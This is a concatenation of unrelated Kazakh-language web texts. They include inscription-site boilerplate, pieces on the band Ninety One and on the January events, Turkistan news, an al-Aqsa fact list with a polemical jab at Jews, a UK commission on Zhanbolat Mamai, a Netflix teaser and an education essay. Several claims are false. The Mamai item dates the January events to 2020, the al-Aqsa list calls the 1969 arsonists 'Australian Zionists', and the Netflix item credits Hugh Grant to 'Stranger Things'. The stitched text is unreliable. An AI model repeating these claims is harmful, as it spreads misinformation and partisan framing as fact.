Электронды тарихи-мәдени қордың негізі "Мәдени мұра" мемлекеттік бағдарламасының "Шығыстану секциясы" Р.Б.Сүлейменов атындағы Шығыстану институты тарапынан 2005 жарияланған "Қазақстан тарихы туралы түркі деректемелері" сериясының 2-томы "Н.Базылхан "Көне түрік бітіктастары мен ескерткіштері (Орхон, Ениесей, Талас)" Алматы: Дайк-Пресс. 2005, 252 б. +144 бет жапсырма" атты ғылыми еңбек болды. Ғылыми редакторлары: т.ғ.д., проф. М.Қ.Әбусейтова,
ф.ғ.д., проф.Б.Бұхатұлы.
Р.Б.Сүлейменов атындағы Шығыстану институтының директоры т.ғ.д., проф. Меруерт Қуатқызы Әбусейтоваға көрсеткен көмегі үшін алғыс білдіреміз.
Ескерткіш Үйреткіш Этномәдени сөздік Жәй сөздік Деректер Іздеу Көмек Контакт
қаз рус eng
© Абай атындағы Қазақ Ұлттық педагогикалық университет.
Қазақстан Республикасы Мәдениет және ақпарат министрлігінің Тіл комитеті тапсырысы бойынша жүргізілген
"Жазба және этноархеологиялық деректемелер бойынша қазақ тілінің тарихи-мәдени ақпарат көздерін жасау" жұмысы шеңберінде жасалған. |
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47
Алтай мемлекеттік өлкетану музейінің алдында тұрған мүсінтас.
Электронды тарихи-мәдени қордың негізі "Мәдени мұра" мемлекеттік бағдарламасының "Шығыстану секциясы" Р.Б.Сүлейменов атындағы Шығыстану институты тарапынан 2005 жарияланған "Қазақстан тарихы туралы түркі деректемелері" сериясының 2-томы "Н.Базылхан "Көне түрік бітіктастары мен ескерткіштері (Орхон, Ениесей, Талас)" Алматы: Дайк-Пресс. 2005, 252 б. +144 бет жапсырма" атты ғылыми еңбек болды. Ғылыми редакторлары: т.ғ.д., проф. М.Қ.Әбусейтова,
ф.ғ.д., проф.Б.Бұхатұлы.
Р.Б.Сүлейменов атындағы Шығыстану институтының директоры т.ғ.д., проф. Меруерт Қуатқызы Әбусейтоваға көрсеткен көмегі үшін алғыс білдіреміз.
Ескерткіш Үйреткіш Этномәдени сөздік Жәй сөздік Деректер Іздеу Көмек Контакт
қаз рус eng
© Абай атындағы Қазақ Ұлттық педагогикалық университет.
Қазақстан Республикасы Мәдениет және ақпарат министрлігінің Тіл комитеті тапсырысы бойынша жүргізілген
"Жазба және этноархеологиялық деректемелер бойынша қазақ тілінің тарихи-мәдени ақпарат көздерін жасау" жұмысы шеңберінде жасалған. |
"Әу демейтін қазақ жоқ",- осы сөздің өзі қазақ халқының ән өнерінен ешқашан кенде болмағанын, қашан да болса қазақ ән өнері шарықтап тұратынын алға тартатын сияқты. Оған дәлел, 1925 жылы Парижді таңдай қақтырған Әміре атамыз. Парижді былай қойғанда бүкіл Еуропаны өнерімен тәнті етті. Әміре атамыздай бірақ жарыққа шыға алмай кеткен әнші ата- апаларымыз қаншама? Әміре атамыздың төрткүл дүниені таңдандырғанынан кейін дәл 90 жылдан соң, Димаш Құдайбергенов ағамыз "Славянский базар-2015" конкурсында бас жүлде иегері атанды. Айта берсек таңдай қақтырар, қоңыр дауысты әншілеріміз көп- ақ!
Дегенмен, Қазақстанды "q-pop" жанрымен, яғни, "k-pop" жанрынан бастау алған, заманауи әндерімен өзге елді таңдай қақтырып жүрген әншілеріміз де бар. Қазақстандық "Ninety One" тобы әлемді дүр сілкіндірді. Шет елден көп жанкүйер жинап, қолдау тапқан топ неге өз елімізден ондай қолдау таба алмай жүр? Ол топтың жанкүйерлерінің басым бөлігі қыздар дегенмен сіз де келісесіз бе?
Ninety One тобы жарыққа шыққан күнінен бастап көп сындарға ұшырады. Қарап отырсаңыз халық екі топқа бөлініп кеткен сияқты. Бірінші топ "Ақтаушылар", екінші топ "Даттаушылар". Иә, қазір сараптасақ Ақтаушылардан қарағанда, Даттаушылар басым келе жатыр. Вконтакте желісіндегі дәл 100 адамнан сұрадым. Солардың 42%-ы қолдаса, 58%- қарсы шығып отыр.
Ақтаушылардың айтуынша, "Заманауи, нағыз Қазақстанға керек топ. Себебі, Кореяның аты шулы "BTS". "EXO". "GOT7" топтарын емес, Қазақстандық топты тыңдайтындарына қуанышты. Қазақ попының негізін салып, әлемді шулатқан бұл топты қолдап, күш беруіміз керек. Қазақтың белгілі әншілері Төреғали Төреәлінің, Қайрат Нұртастың әндерін дәл осы топтың әндеріндей тыңдап, жаттап, тіпті қазақ тілін үйренді деген шетел азаматы жоқ. Ал, Ninety One тобының сахнада жүргеніне көп болмаса да, әлемнің әр бұрышынан тыңдаушылары көбейуде. Тіпті, қазақ тілін үйреніп жатыр".
Ал, Даттаушылар "Қызтекелер. Боянады. Қыздарға еліктейді, және оларды тек қыздар тыңдайды. Қазақ жігіттеріне тән қылықтары жоқ",- деп айыптайды. Ninety One тобының бір сұхбатында, топ рэпері Азамат Зенкаев (A.Z): "Біз әлі кәсіби сын естіген жоқпыз. Бәрі бізді тек стиліміздің өзгеше болғаны үшін сынайды",- деп айтты. Расында да, стилдерінің өзгеше болғаны, өнерлерінен де маңызды ма? Әлде халықтың басқа ұнатпайтын себебі бар ма? |
Оның таяуда аяқтала қоюы да екіталай. Себебі терактқа қатысқан адамдардың саны тым көп. Жақында сайланған Мәжіліс спикері Ерлан Қошанов пленарлық отырыстан соң алғаш рет журналистердің алдына шығып, қаңтар оқиғасына қатысты көптеген сауалдарға жауап берді. Елдегі қазіргі саяси ахуал, Украинадағы соғыс тақырыбы да қаузалды.
Қаралы қаңтар әр қазақстандықтың жүрегіне үрей ұялатқаны хақ. Сол алмағайып кез де ендігі артта қалғанымен, салдары мен сызаты кете қойған жоқ. Бір ай бұрын ғана Мәжіліс төрағасы болып сайланған Ерлан Қошанов Президенттің ескертусіз оқ ату бұйрығына қатысты өз ойымен бөлісті. Қошанов мырза қауіпсіздік кеңесінің мүшесі ретінде де бұл шешімді толық қолдайды.
Ерлан Қошанов, ҚР Парламенті Мәжілісінің төрағасы:
- Өйткені бұл террористтік шабуыл болды. Антитеррористтік операцияны мен қолдадым, неге біз қолдамауымыз керек, сол кезде мемлекеттің тағдыры қыл үстінде тұрғанда бүкіл Қазақстан куә болдыңыздар ғой. Президенттің қауіпсіздік кеңесінің шешімі болмаған кезде жағдай басқаша болатын еді, біз осылай бір-бірімізге сұрақ қойып тұрмас едік, қорқыныш пен үрейде өмір сүруіміз мүмкін еді, мен мұны қызу ортасында жүрген биліктің өкілі ретінде, мемлекеттік қызметші ретінде барлық жауапкершілікпен айтып тұрмын.
Елімізде бейбіт митингімен басталып, бүлікпен аяқталып, елді есеңгіреткен ереуілдерден кейін қамауға алынғандарды азаптау фактілеріне қатысты 178 қылмыстық іс қаралуда. Мәжіліс спикерінің айтуынша, депутаттардың бір тобы Алматы, Тараз, Талдықорған қалаларына арнайы барып, ұсталған азаматтармен, олардың ата-анасы, жақын-жуығымен, қорғаушылармен кездесті. Халық қалаулылары тиісті органдарға ұсыныстар жолдаған. Қаңтар оқиғасы туралы тергеу неге ұзаққа созылды? Спикер норвегиялық лаңкес Брейвиктің 77 адамды өлтіргені туралы бұлтартпас дәлел бола тұра, тергеу 1 жарым жылға созылғанын мысалға келтірді. Ал бұл жерде мыңдаған адам тергелуде. Төрткүл дүние көз тігіп отырған Украинадағы соғыс тақырыбы да сөз болды. Қазақстан өзара қырғиқабақ екі елге де серіктес, сол себепті тек келіссөздер алаңын ұсынып көмек қолын соза алады.
Ерлан Қошанов, ҚР Парламенті Мәжілісінің төрағасы:
- Украина мен Ресей бауырлас елдер, мәдениеті, дәстүрлері ұқсас елдердің осылайша қырқысып, қақтығысып жатқаны әрине, аянышты. Ауыр жағдай. Қан төгіліп, ғимараттар қиратылып,нағыз соғыс болып жатқаны алаңдатады. Президент айтқандай, Қазақстан қажет болса, келіссөздер алаңын ұсына алады.
Журналистерге 21 минут сұхбат берген Ерлан Қошанов сондай-ақ «Аманат» партиясы туралы ойын да білдірді.
Ерлан Қошанов, ҚР Парламенті Мәжілісінің төрағасы:
- Бүгінде қоғамның сұранысы да өзгеріп отыр. Мынау теракт болғаннан кейін үлкен шабуыл мемлекетке, содан кейін қоғам дүр сілкініп отыр. Партия оған бейімделуіміз керек. Қоғам өз алдына өмір сүріп, партия өз алдына өмір сүрмейді ғой. Сондықтан да партия мүшелері осының бәрін сараптау қажет. Өткенде біздің фракция депутаттары өңірлерге де барып келді.
«Ел аманаты түзу орындалу үшін саяси адал бәсеке қажет, шыттай болып костюм киіп, кабинетте отыратындар емес, проактивті жұмыс жасайтын белсенділер керек», – дейді депутаттар.
Айдос Сарым, ҚР Парламенті Мәжілісінің депутаты:
- Бұл бәсекенің өзі «Аманат» партиясына жақсы бір мүмкіндік береді. «Аманат» партиясында жағдай іздеген, мүмкіндік іздеген адамдар емес, мен осы саясатты жүрегіммен қолдаймын. Осындай реформаны Президентпен бірге істегеміз келеді деген азаматтар келуі керек, ол азаматтар өзінің ұстанымынан қорықпауы керек, ол азаматтар өзінің саяси күреске дайын екенін дәлелдеуі керек.
Елде дамуы кенжелеп тұрған сала көп. Қазір депутаттар: «Ең әуелі сауаттылыққа мән беріп, жұмыссыздықты азайтуға күш жұмсалса», – дейді. Осыдан ақ белгілі, Жаңа Қазақстанға жетелейтін болса, «Аманаттың» жүгі жеңіл емес. |
Түркістан қаласында өткен «Қазақстан таланттары» Халықаралық байқауында “Конгресс Холл” кешенінің “Керуен” би тобы ГРАН ПРИ-ді жеңіп алды.
Ақерке Жақыпқызы жетекшілік ететін би тобын кезекті жеңістерімен құттықтаймыз. Әрдайым биік белестерді бағындырып, тек ғана жеңіс тұғырынан көріне берулеріне тілектеспіз.
Қазан 26 2022
Түркістанда «Түркі әлемінің орталығы» ғимараты салынады
zhuadmin Жаңалықтар 0
Бүгін «Конгресс Холл» көпсалалы кешенінде «Түркі әлемінің орталығы» нысанының сәулеттік-көркемдік келбетін, кешенді сәулет тұжырымдамасын әзірлеу үшін республикалық ашық байқау ұйымдастырылды.
Оған еліміздің түкпір-түкпірінен сәулетшілер қатысып, 17 жоба ұсынылды. Облыс әкімі Дархан Сатыбалды аталған арнайы көрмеге қойылған жобалармен танысып, сәулетшілер мен мүсіншілермен кездесті.
– Түркістанның әрбір нысаны талапқа сай болуы тиіс. «Түркі әлемінің орталығы» ғимараты атына сай болып, құрылыс саласының соңғы технологиялары қолданылған жөн. Оған уақыт та, мүмкіндік те бар, – деген Дархан Сатыбалды жобаларды жетілдіру жөнінде өз ұсыныстарын айтты.
Түркістан облысының сәулет және қала құрылысы басқармасы ұйымдастырған байқаудың екінші кезеңіне іріктеуден өткен үздік жобалар жіберілетін болды.
2021 жылы, 31 наурызда «Түркістан – түркі әлемінің рухани астанасы» тақырыбында түркітілдес мемлекеттердің ынтымақтастық кеңесінің бейресми саммиті өткен болатын.
Саммитте ҚР Президенті Қасым-Жомарт Тоқаев Түркістан қаласында түркі халықтарына ортақ сәулет нысанын салуды тапсырды. Осыған орай Түркістан облысының әкімдігі осы ашық байқауды ұйымдастырып отыр.
Байқауға қатысушыларға Түркістанның тарихи келбетін сақтай отырып, жаңа нысанның тұжырымдамасын әзірлеу талабы қойылған. Түркі әлемінің орталығы ғимараты түркі тілдес елдердің бірлігі мен ынтымағын білдіретін рухани орталыққа айналуы тиіс.
Қыркүйек 28 2022
«Конгресс Холға» – 2 жыл!
zhuadmin Жаңалықтар 0
«Конгресс Холл» көпсалалы кешенінің құрылғанына 2 жыл толуына орай салтанатты іс-шара өтті.
Мерекелік шараға «Amanat» партиясының Түркістан облыстық филиалының атқарушы хатшысы Бейсен Тәжібаев, Түркістан облыстық Мәдениет басқармасының басшысы Әзімхан Қойлыбаев қатысты.
Шара барысында «Конгресс Холл» көпсалалы кешенінің директоры Ғалымжан Ерназаров кешеннің атқаратын қызметі, дамуы және алдағы жоспарлары туралы баяндама жасады.
Сонымен қатар, «Конгресс Холл» көпсалалы кешенінің бір топ қызметкерлеріне Түркістан облысының әкімі Дархан Сатыбалдының алғыс хаты табысталды.
Шарада облыс мақтаныштары Мөлдір Бақытжанқызы, Аяжан Нұрмаханбет, Қайрат Тұрсынбекұлы өнер көрсетіп, халықтың ыстық ықыласына бөленді.
Салтанатты шара әріқарай «Конгресс Холл» кешені өнерпаздарының концерттік бағдарламасына ұласты.
Тамыз 31 2022
Түркістан облысына жаңа әкім тағайындалды
zhuadmin Жаңалықтар 0
Бүгін 31 тамызда, ҚР Премьер-Министрі Әлихан Смайылов пен ҚР Президенті Әкімшілігінің Басшысы Мұрат Нұртілеу Түркістан қаласына келіп, Түркістан облысының барлық деңгейдегі мәслихат депутаттарының жиналысына қатысты.
Үкімет басшысы депутаттарға ҚР Президентінің облыс әкімі қызметіне Ұласбек Сәдібеков пен Дархан Сатыбалдының кандидатураларын қарауға енгізу туралы хатын оқып берді.
Әлихан Смайылов кандидаттардың әрқайсысының өңірді басқару үшін кәсіби тәжірибесі мол және қажетті құзыреттері бар екенін атап өтті.
Дауыс беру нәтижесі бойынша 286 депутаттың 200-і Дархан Сатыбалдының кандидатурасын жақтап дауыс берді, 86 депутат Ұласбек Сәдібековті таңдады.
Сессиядан кейін облыс активінің отырысы өтті. Жиында Әлихан Смайылов ҚР Президенті Қасым-Жомарт Тоқаевтың Жарлығын оқып берді. Президент Жарлығымен Түркістан облысының әкімі болып Сатыбалды Дархан Амангелдіұлы тағайындалды.
Ел Президенті Шөкеев Өмірзақ Естайұлына аймақ басшысы қызметіндегі көп жылғы жұмысы үшін алғысын айтты.
Дархан Сатыбалды 1974 жылы Сарыағаш ауданында туған. С.Сейфуллин атындағы Ақмола ауыл шаруашылық институтын, Қазақ гуманитарлық-заң университетін бітірген. Мамандықтары: экономист-менеджер, заңгер.
Еңбек жолында ҚР Премьер-Министрі Кеңсесі бөлім меңгерушісінің орынбасары, Шымкент қаласының әкімі, Оңтүстік Қазақстан облысы әкімінің бірінші орынбасары лауазымдарында жұмыс істеген.
2018 жылы Шымкент қаласынан Сенат депутаты болып сайланды. 2019 жылдан бері Қазақстан Республикасының Өзбекстан Республикасындағы Төтенше және Өкілетті Елшісі қызметін атқарып келді.
Тамыз 24 2022
Тамыз кеңесі өтті
zhuadmin Бос орынға конкурс, Бұйрықтар, Жаңалықтар 0
Бүгін «Конгресс Холл» кешенінде «Білімді ұлт: терең білім, еңбекқорлық және отаншылдық қасиет» тақырыбындағы облыстық тамыз педагогикалық кеңесі өтті.
Өңір басшысы Өмірзақ Шөкеев пен ұстаздар кітап көрмесі мен жергілікті жастар құрастырған роботтарды, жобаларды тамашалады.
Тамыз кеңесін «BILIM MEDIA GROUP» ЖШС директоры Рауан Кенжеханұлы жүргізіп отырды. Сондай-ақ, кеңеске «Назарбаев зияткерлік мектептері» дербес білім беру ұйымының төрайымы Күләш Шамшидинова мен білікті ұстаздар қатысты.
Білім саласындағы мәселелер талқыланып, жоспарлар баяндалған жиында облыс әкімі барша ұстаздар қауымына жылы лебізін білдіріп, жұмыстарына сәттілік тіледі. |
Әл-Құддыстағы (Иерусалим) әл-Ақса мешіті – сөзсіз әлемдегі ең «таласымды» мекен болып табылады. Мыңдаған жылдар бойы оған үстемдік ету үшін адамдар жандарын пида етті десек, асыра сілтеусіз айтқан болармыз.
Әл-Ақса мұсылмандардың жүрегінде ерекше орынға ие – ол Исламның үшінші қасиетті мекені. Осы жерге Алла елшісі (Алланың оған игілігі мен сәлемі болсын) Исра мен Миғраж сапарында апарылған болатын. Бұл мешіт ең ғажайып басқосудың куәгері болды – барлық Пайғамбарлар (әлейһим сәләм) Алла елшісіне (Алланың оған игілігі мен сәлемі болсын) ұйып намаз оқыды.
Мәсжид әл-Ақса жайында сіздер үшін мына қызықты мәліметтерді топтастырдық:
8. Бұл бір ғана мешіт емес
Біз «әл-Ақса» деп атап үйренген аумақта, шын мәнінде, бірнеше мешіт бар. «Мәсжид әл-Ақса» деген кезде, біз кешеннің оңтүстік бұрышы деп түсінеміз. Расында бұл «Қыбыла мешіті», ол қыбылаға жақын болғандықтан солай аталып кеткен. Төбенің барлық бөлігі «Мәсжид әл-Ақса» болса, кейде шатаспас үшін «Харам әл-Шариф» деп те аталады. Бұл аумақта тарихи оқиғалармен байланысты басқа да мешіттер бар: Пырақ Мешіті, Маруәни Мешіті және басқалары.
7. Бұл жерде жерлеу орындары да бар
Бұл жерде қанша Пайғамбарлар (әлейһим сәләм) мен Алла елшісінің (Алланың оған игілігі мен сәлемі болсын) сахабалары жерленгені туралы нақты мәлімет жоқ. Күмәнсіз, олардың саны көп.
Мысалы, Сүлеймен (әлейһи сәләм) осы жерде жерленген деген болжам бар, өйткені Пағамбарларды (әлейһим сәләм) олар қайтыс болған жерде жерлеген. Көптеген деректер бойынша, ол (әлеһи сәләм) құрылыс жұмыстарын бақылап тұрған кезде қайтыс болған.
6. Ол қоқыс тастайтын жер еді
Еврейлерге қаланың аумағында тұруға тиым салынған уақытта, римдіктер аумақты қоқыс тастайтын жер ретінде қолданған. Омар (Алла оған разы болсын) қаланы азат еткен кезде, оны өз қолымен қоқыстан тазалаған еді. Сонымен қатар, ол еврейлердің көпғасырлық қуғындауын тоқтатып, көрші ауылдардағы қуғындалған 70 еврейлік жанұяны қайта Иерусалимге шақыртып алады да, оларға отандарына қайтуға мүмкіндік береді. Алайда, біздің бұл «бауырларымыз» осындай қызметті ұмыт қалдырған сияқты.
5. әл-Ғазали осында өмір сүріп еңбектерін жазған еді
Имам әл-Ғазалидің қолымен жазылған ислам әдебиетіндегі ең танымал кітаптардың бірі «Ихьә улуму әд-Дин». Бұл адам – адамның терең болмысына әсер ете алу қасиетімен ерекшеленіп, Ислам ғылымында беделге ие болып, Құран ілімі мен Пайғамбардың (Алланың оған игілігі мен сәлемі болсын) сүннетіне берік болған. Көбіміз әл-Ғазалидің әл-Ақса мешітінде біраз өмір сүріп, өзінің бір еңбегін жазғаны жайында білмейміз. Ғимаратта оның ескі бөлмесі ерекшеленіп көрсетілген.
4. Ол атқора, сарай, және өлім жазасына арналған жер ретінде қолданылған еді
Алғашқы кресшілер Иерусалимды жаулап алған кезде, әл-Ақса мешітіне жасырынған 70 000 мұсылманды өлтіреді. Қыбыла мешітін сарайға айналдырып, Жартас Күмбезінен (Қуббат ас-Сақра) кішкентай шіркеу жасап, жер асты бөлмелерін атқора қылады. Алғашқы қырқысқа түскен мұсылмандарды мешіт орталығынан алыс емес жерде, үлкен шармыққа керіп тастайды. Бұл шармық кейін Салахаддин жойған жалғыз шармық еді. Әлі күнге дейін сол жерде оның іргетасын көруге болады.
3. Мешітте аты аңызға айналған мінбер сақталған еді
Исламның ұлы батырларының бірі Нуруддин Зәнки әл-Ақса мешітіне арналған арнайы мінбер сақтаған болатын. Ол мінбердің мешіт кресшілерден азат болған кезде (сенімінің беріктігіне таңқалуға болады) қойылатынына сенген. Бұл мінбер әдемі болумен қатар, бірде-бір шегесіз және желімсіз жасалған еді. Өкінішке орай, Нуруддин Зәнкидің өзі жеңісті көрмей өмірден өтіп кетеді. Алайда, оның ізбасары Салахаддин ұстазының қалауын іске асырады. Иерусалимның тарихта екінші рет азат болуынан кейін, мінбер мешітке орнатылады. Қолөнершілер мен ұсталар арасында бұл мінбер әлі күнге дейін беделін жоғалтқан жоқ. Өкінішке орай, бірінші бағамда көрсетілген оқиғалар себебінен мінбер сақталмай қалады.
2. Жартас Күмбезінің (Қуббат ас-Сақра) бейнесі басқа еді
Жартас Күмбезі – Исламда алғаш салынған күмбез десек қателеспейміз. Ол омейяд Халифы Әбдуль Мәлік ибн Мәруәнның басшылығымен салынған еді. Дерек көздеріне сүйенсек, алғашқы кезде ағаштан жасалған күмбез жезбен, қорғасынмен және күйіктас қабаттарымен қапталған болатын. Мың жыл өткеннен кейін, османдықтардың үстемдігі кезінде Халиф Сүлеймен сұлтан уақытында, күмбез алтын қабатпен қапталды. Сонымен қатар, ғимараттың қасбетінде османдық тақталар орнатылды.
1.Мешіт өртелді
Сіз әл-Ақса мешіті жойылса не болады деп ойландыңыз ба? Жартас Күмбезінің үстүнде жаулаушылардың туы желбіреп, мешіт өртеніп кетсе ше? Мұсылмандар бұған жол бермейді дейсіз бе?
Тағы бір ойланыңызшы.
1967 жылы мұсылмандар Израильдің қол астына өткен Иерусалимнен үшінші рет айырылып қалды. Жартас Күмбезінің төбесінде израильдік жаулаушылардың туы желбірей бастады. Израильдік басшылар әл-Ақса мешітінде ашық үстемдік ету мұсылман әлеміне үнемі араңдатушылық болады деп, мұсылмандарды тыныштандыру үшін Уақф ойлап табады. Бұл іске асады.
1969 жылы австралиялық сионисттер Нурудинның мінберін өртеп, Қыбыла мешіті толықтай өртке оранады. Мұсылман әлемі ауыркезеңдерді бастан кешеді. Палестиналықтар бар қолда барымен өртті өшіруге тырысады. Бүкіл үммет ұяттан басын жерге қаратады. Содан бері, мешіт қалпына келтірілсе де, Исламның үшінші қасиетті мекеніне шабуылдар әлі күнге дейін жалғасуда. Мешіттің іргетасын бұзу мақсатында жүргізілетін қазба жұмыстары, рұқсат етілмеген басып кірулер, ескі ғибадатхананы қайта салу жөніндегі қорқытулар күнделікті орын алып келеді. Мәсжид әл-Ақса әлі күтуде. |
Британия парламентінің мүшелері қамаудағы оппозициялық саясаткер Жанболат Мамайдың ісі негізінде Қаңтар оқиғасында және оқиғадан кейін Қазақстанда адам құқықтары мен халықаралық құқықтардың бұзылғаны жайлы хабарларды тексермек.
Үкіметтік емес комиссияны Қазақстанның аты-жөнін жасырын ұстауды қалайтын азаматтары құрған, олар "елде саяси қуғын мен адам құқығының нашарлауына алаңдайды". Лондондық Bindmans заң фирмасының серіктесі Таяб Али 1 қарашада өткен онлайн отырыста "жеке бастарының қауіпсіздігіне байланысты" комиссиядағы қазақстандықтардың аты-жөні жарияланбайтынын айтты.
Комиссия төрағасы – британиялық саясаткер және заңгер, 2000 жылдары Англия мен Уэльстің прокурорлық қызметін басқарған Кеннет Макдональд. Қазанда Макдональд және британиялық саясаткер Эндрю Митчел мен Британия парламентінің мүшесі Рушнара Али Қазақстанның Лондондағы елшілігіне ресми хат жолдаған. Олар Қазақстан билігінен тергеуге қатысуға және Жанболат Мамаймен кездестіруді сұраған. Митчел өткен аптада даму бойынша кіші министр болып тағайындалғандықтан комиссиядан шыққан.
"Демократиялық партия" құрғысы келетін бастамашыл топтың жетекшісі Жанболат Мамай ақпаннан бері қамауда отыр.
Таяб Алидің сөзінше, комиссия 2020 жылдың қаңтарында болған оқиғаға аса көп назар аудармайды, бірақ комиссия мүшелері Мамайдың ісі бойынша фактілерді қарастырмақ.
Қазір комиссия "Мамайдың ұстауға негіз болған дәлелдерді, оны және басқа да саяси тұтқындардың қамаудағы жағдайы жайлы ақпараттар мен дәлелдерді алу" процессін жүргізіп жатыр. Одан соң куәгерлер мен қазақстандық және халықаралық құқық қорғау ұйымдары жіберген дәлелдерді қарастырмақ. Ал жыл соңында комиссия куәгерлерді тыңдау үшін ашық жиын өткізуді жоспарлайды.
Мамайдың адвокаты Ернар Кенжебаев онлайн жиында белсендіге қатысты тергеу аяқталып, іс сотқа жіберілгенін айтты. Өткен аптада билік Мамайға тағылған "жаппай тәртіпсіздік ұйымдастыру" айыбын "бейбіт митинг өткізу жаңын бұзу" бабына ауыстырған еді. Бұдан бөлек Мамайға "жалған ақпарат таратты" деген де айып тағылған. Жиында адвокат Кенжебаев Мамай "жалған ақпарат тарату" айыбына қатысы жоғын жеткізді. |
Netlix “Черное зеркало” (ағыл. Black Mirror) сериалының сценарисі жазған “Death to 2020” атты фильмінің тизерін көрсетті. Фильм 2020 жылы болған оқиғалар туралы баяндайды. Жанры — мокьюментари-комедия.
Актерлер құрамы мықты таңдалған. Кілең танымал сериалдарда түскендер: Лиза Кудроу («Друзья» сериалы), Хью Гранта («Очень странные дела» сериалы), Кристина Милиоти («Как я встретил вашу маму» сериалы) және т.б.
Олар 2020 жылы болған түрлі маңызды оқиғаларды түсіндіріп беретін беретін ойдан шығарылған сарапшылар рөлінде болады. “Death to 2020” фильмінің жарыққа шығатын күні әлі белгісіз.
Tags: Death to 2020NetflixЧерное зеркало
Opa.kz — мәдениет, өнер, сән, спорт, денсаулық, технология әлеміне қызығушылық танытатын оқырмандарға арналған медиа ресурс. |
Неміс философы Зиммельдің айтуынша, «білімді адам – ол өзі білмейтінді қайдан табуға болатынын білетін адам». Кез келген кәсіп иесі өз шаруасын тың тәсілмен, жаңа әдіспен істеуге ұмтылса ғана ешкім жетпеген табысқа жете алады.
Әлемдік білім кеңістігіне ену мақсатында еліміздің білім беру ісінде соңғы жылдары түбірлі өзгерістер болып жатқаны мәлім. Соның ішінде ең бастысы, білім стандартының жасалуы, басқа да жүріп жатқан реформалар күрделі, қиын, қарама-қайшы белестерді ақырын-ақырын артқа сап, жылжып келеді. Бұл қасиетті істерде мұғалімге қойылар талап та ерекше. Мемлекеттік білім саясаты да осы мұғалім арқылы жүзеге аспақ. Ал бүгінгі таңда мектептің, мұғалімнің ең қасиетті міндеті – рухани бай, жан-жақты дамыған жеке, дарынды тұлға қалыптастыру.
Елбасымыз алға міндет етіп қойғандай өзіндік өмір өрнегін жасай алатын, өзіндік даму арнасын белгілеп, өмірдің қиыр көкжиегіне батыл қадам басатын бүгінгі бәсекенің қатал заңына икемді ұрпақтың тұғыры мектептен басталады. Оның алғы шарты оқушы бойында өмірлік бейімділіктерді қалыптастырумен орындалады.
Бүгінгі таңдағы әлеуметтік-экономика-лық жағдайлардың күрделенуі, ақпараттар ағымының қарқындауы, бәсекелестіктің артуы сияқты жағдаяттар білім беру ұйымдарының түлектеріне елеулі жоғары талаптарды жүктейді. Бұл жағдайда жалпы білім беру мақсаты көп міндетті құзырлармен, шығармашылық іс- әрекет тәжірибесімен қаруланған, бүгінгі өзгермелі жағдайларда бағдарлана алуға дайын адамды дамыту болып табылады.
Қазақстан Республикасының 2015 жылға дейінгі білім беруді дамыту тұжырымдамасында «Білім берудің мақ-саты - жылдам өзгеріп отыратын дүние жағдайларында алған терең білімнің, кәсіби дағдыларының негізінде еркін бағдарлай білуге, өзін- өзі іске асыруға, өзін-өзі дамытуға және өз бетінше дұрыс, адамгершілік тұрғысынан жауапты шешімдер қабылдауға қабілетті жеке тұлғаны қалыптастыру» делінген. Жоғарыда аталған қағидаларды ұстана отырып Қазақстанда ұлттық және жалпы адамзаттық құндылықтарды, тарихи тәжірибелерді, сан ғасырлық мәдени ұлттық дәстүрлерді ескере отырып, қазіргі білім мазмұнын жаңғыртуда жаңа талаптар қоя отырып, ұлттық рухта болашақ ұрпаққа бейіндік оқыту мен тәрбие беру әрі оны психологиялық тұрғыдан алдын- ала анықтау қажет деп санаймын.
Бейіндік оқыту - оқушылардың өздерінің танымдық қызығушылықтарына, қабілеттілігіне, оқудағы жеткен жетістіктеріне және кәсіби ниеттеріне байланысты олардың оқыту бағдарын еркінше таңдап алуға негізделген. Ол оқушылардың белгілі бір тобына қатысты даралық тұрғыдан қарауды жүзеге асыруға бағытталған. Әр топтағы оқыту үрдісі түрліше жүреді: білім мазмұнымен ерекшеленеді, оған қандай да бір оқыту әдістерінің, түрлерінің және формаларының басымдық рөлі, оқушылар мен мұғалімнің өзара қарым- қатынас стилі өзгереді.
Бейіндік оқыту - білім беру процесінің құрылымы, мазмұны және ұйымдастырылуына өзгерістер енгізу арқылы оқушылардың қызығушылығы, бейімі мен қабілеттерін толық есепке алуға, оқушыларға олардың кәсіптік сұраныстары мен білім алуды одан әрі жалғастыру мүмкіндіктеріне сәйкес оқытуға жағдай жасауға мүмкіндік беретін оқытуды саралау мен даралау құралы болып табылады.
Еліміздің даму деңгейі осы арқылы бағаланатын әрбір мемлекеттің мәдени-экономикалық дамуы қайсібір тарихи кезеңдерде болмасын ондағы кәсіптік білім жүйесінің деңгейіне байланыстылығы дәлелденді. Сондықтан да қазіргі таңда кәсіптік білімге орай бейімдеп оқыту көзқарасы да, сұранысы да әлемдік деңгейде бетбұрыс алуда. Осыған орай білім берудің мақсаты бұрынғыдай жастарды әмбебап біліммен қаруландыру емес, оларға аз-аздан барлық сала жайлы білім емес, терең бір ғана сала бойынша білім беру. Осыны жүзеге асыру үшін елімізде бейіндік оқыту ұйымдастырылуда. Бала болашағы оның жаңа тұжырымдарды түсінуі мен қабылдай білуіне, дұрыс таңдау жасауына, бүкіл өмір бойына өзгермелі жағдайларға тез икемделе білу қабілетіне байланысты болмақ. Мұндай тұлғаға қойылатын бірінші кезектегі нақты талап: ойлылық, салмақтылық, белсенділік, әлеуметтік жауапкершілік, терең білімділік, кәсіби сауаттылық.
Бейіндік оқыту білім беру сапасын көтеру, мемлекеттің және қоғамның, тұлғалық өзекті және келешектегі қажеттіліктерді жүзеге асыру әдістерінің бірі ретінде ұсынылып отыр.Жоғары сынып оқушыларының кәсіптік өзін-өзі анықтауы негіздері П.П.Блонский, С.И.Вершинин, В.И.Журавлев, Е.А.Климов, Н.Н.Чистяков, С.Т.Щацкий т.б. еңбектерінде көрсетілген.
Соңғы жылдары оқушылардың кәсіби өзін-өзі анықтауына деген көзқарас біршама өзгерді, әйтсе де бұл өзгерістер ең алдымен білім беруді жетілдіру тұжырымдамаларына бейін алды әзірліктің және жалпы білім берудің жоғары сатысында оқушыларға бейіндік оқытуды енгізумен байланысты.
